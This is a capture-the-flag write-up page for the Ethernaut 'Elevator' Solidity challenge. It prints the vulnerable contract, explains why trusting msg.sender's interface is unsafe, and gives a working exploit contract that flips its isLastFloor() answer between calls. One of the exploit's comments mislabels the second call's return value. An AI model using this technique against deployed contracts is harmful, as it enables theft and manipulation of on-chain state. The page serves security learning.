ctfwriteup
  • โœ…/home/ret2basic.eth
  • Game Hacking
    • ๐Ÿ‘‘Pwn Adventure 3: Pwnie Island
      • โœ…Prep: Speed Hack
      • โœ…Prep: Infinite Health and Mana (Offline)
      • โœ…Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • โœ…Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • โœ…Step 1: Setup
      • โœ…Step 2: Scan for "Exact Value"
      • โœ…Step 3: Scan for "Unknown initial value"
      • โœ…Step 4: Scan for float and double
      • โœ…Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • ๐Ÿ‘‘Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • ๐Ÿ‘‘Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • โœ…Unstoppable
      • โœ…Naive Receiver
      • โœ…Truster
      • โœ…Side Entrance
      • โœ…The Rewarder
      • โœ…Selfie
      • โœ…Compromised
      • โœ…Puppet
      • โœ…Puppet V2
      • โœ…Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • โœ…Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • โœ…Meta Staking
      • โœ…Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • โœ…Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • โœ…Crystal DAO
      • โœ…Liquidatoooor
    • โœ…Ethernaut
      • โœ…Hello Ethernaut
      • โœ…Fallback
      • โœ…Fallout
      • โœ…Coin Flip
      • โœ…Telephone
      • โœ…Token
      • โœ…Delegation
      • โœ…Force
      • โœ…Vault
      • โœ…King
      • โœ…Re-entrancy
      • โœ…Elevator
      • โœ…Privacy
      • โœ…Gatekeeper One
      • โœ…Gatekeeper Two
      • โœ…Naught Coin
      • โœ…Preservation
      • โœ…Recovery
      • โœ…MagicNumber
      • โœ…Alien Codex
      • โœ…Denial
      • โœ…Shop
      • โœ…DEX
      • โœ…DEX Two
      • โœ…Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • โœ…Good Samaritan
      • Gatekeeper Three
      • Switch
    • โœ…Flashbots MEV-Share CTF
    • โœ…Capture the Ether
      • โœ…Lotteries
      • โœ…Math
      • โœ…Miscellaneous
    • โœ…EVM Puzzles
      • โœ…Puzzle 1
      • โœ…Puzzle 2
      • โœ…Puzzle 3
      • โœ…Puzzle 4
      • โœ…Puzzle 5
      • โœ…Puzzle 6
      • โœ…Puzzle 7
      • โœ…Puzzle 8
      • โœ…Puzzle 9
      • โœ…Puzzle 10
    • โœ…More EVM Puzzles
      • โœ…Puzzle 1
      • โœ…Puzzle 2
      • โœ…Puzzle 3
      • โœ…Puzzle 4
      • โœ…Puzzle 5
      • โœ…Puzzle 6
      • โœ…Puzzle 7
      • โœ…Puzzle 8
      • โœ…Puzzle 9
      • โœ…Puzzle 10
    • โœ…QuillCTF
      • โœ…MetaToken
      • โœ…Temporary Variable
      • KeyCraft
      • โœ…Lottery
      • โœ…Private Club
      • Voting Machine
      • โœ…Predictable NFT
      • โœ…Invest Pool
      • PseudoRandom
      • โœ…Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • โœ…Donate
      • โœ…WETH-11
      • Panda Token
      • Gate
      • โœ…WETH10
      • โœ…Pelusa
      • โœ…True XOR
      • โœ…Collatz Puzzle
      • โœ…D31eg4t3
      • โœ…Safe NFT
      • โœ…VIP Bank
      • โœ…Confidential Hash
      • โœ…Road Closed
    • โœ…unhacked
      • โœ…reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • โœ…01 - ReturnBool
      • โœ…02 - SimpleRevert
      • โœ…03 - Return42
      • โœ…04 - RevertWithError
      • โœ…05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • โœ…Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • ๐Ÿšฉembryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • ๐Ÿšฉbabysuid
      • Assembly Refresher
        • x86 Assembly
        • ๐Ÿšฉembryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • ๐Ÿšฉbabyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • ๐Ÿšฉbabyjail
      • Debugging Refresher
        • x86 Assembly
        • ๐Ÿšฉembryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • ๐Ÿšฉbabyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • ๐Ÿšฉbabymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • ๐Ÿšฉtoddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • ๐Ÿšฉbabyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • ๐Ÿšฉbabyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • ๐Ÿšฉbabyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • ๐Ÿšฉbabykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • โœ…Jarvis OJ Pwn Xman Series
    • โœ…Jarvis OJ Crypto RSA Series
    • โœ…picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • โœ…picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • โœ…picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • โœ…Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • โœ…Linux
        • โœ…Safe (Easy)
        • โœ…Delivery (Easy)
        • โœ…TheNotebook (Medium)
        • โœ…Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • โœ…Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • โœ…TCM Linux Privilege Escalation Course
      • โœ…TryHackMe - Simple CTF (Easy)
      • โœ…TryHackMe - Vulnversity (Easy)
      • โœ…TryHackMe - CMesS (Medium)
      • โœ…TryHackMe - UltraTech (Medium)
      • โœ…TryHackMe - LazyAdmin (Easy)
      • โœ…TryHackMe - Anonymous (Medium)
      • โœ…TryHackMe - tomghost (Easy)
      • โœ…TryHackMe - ConvertMyVideo (Medium)
      • โœ…TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Description
  • Background Knowledge
  • Ethereum Book
  • Code Audit
  • Solution
  • Summary
  1. Web3 CTF
  2. Ethernaut

Elevator

calling other contract

PreviousRe-entrancyNextPrivacy

Last updated 2 years ago

Description

This elevator won't let you reach the top of your building. Right?

Things that might help:

  • Sometimes solidity is not good at keeping promises.

  • This Elevator expects to be used from a Building.

Background Knowledge

Ethereum Book

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Note that the function isLastFloor() is called through an interface. When Building building = Building(msg.sender) is executed, the target contract looks for isLastFloor() in the msg.sender contract and grabs its content.

This feature was designed for modularity, but it paves the way for vulnerability since the content of msg.sender contract is out of control. As an attacker, we can deploy our own contract and implement a "malicious" version of isLastFloor() to trick the target contract.

In the function goTo(), isLastFloor() is called twice:

if (! building.isLastFloor(_floor)) {
  floor = _floor;
  top = building.isLastFloor(floor);
}

We want building.isLastFloor(_floor) == false and building.isLastFloor(floor) == true. Thinking abstractly, we just want isLastFloor() evaluates to false when it is called the first time, and evaluates to true when it is called the second time. This "alternating" feature can be implemented with a counter.

Solution

Write an exploit contract in Remix IDE:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElevator {
    function goTo(uint _floor) external;
}

contract ElevatorAttack {

    uint counter;

    function attack(address target) external payable {
        IElevator(target).goTo(0);
    }

    function isLastFloor(uint) external returns (bool) {
        // Initially counter == 0
        counter++; // Now counter == 1
        if (counter > 1) return true; // Evaluates to false at call 2
        else return false; // Evaluates to false at call 1
    }
}

Deploy it and call the attack function.

Summary

An alternative way to solve this level is to build a view function which returns different results depends on input data but don't modify state, e.g. gasleft().

You can use the view function modifier on an interface in order to prevent state modifications. The pure modifier also prevents functions from modifying the state. Make sure you read and learn its caveats.

Solidity's documentation
โœ…
โœ…
Page cover image
ethereumbook/09smart-contracts-security.asciidoc at develop ยท ethereumbook/ethereumbookGitHub
External Contract Referencing - Mastering Ethereum
Logo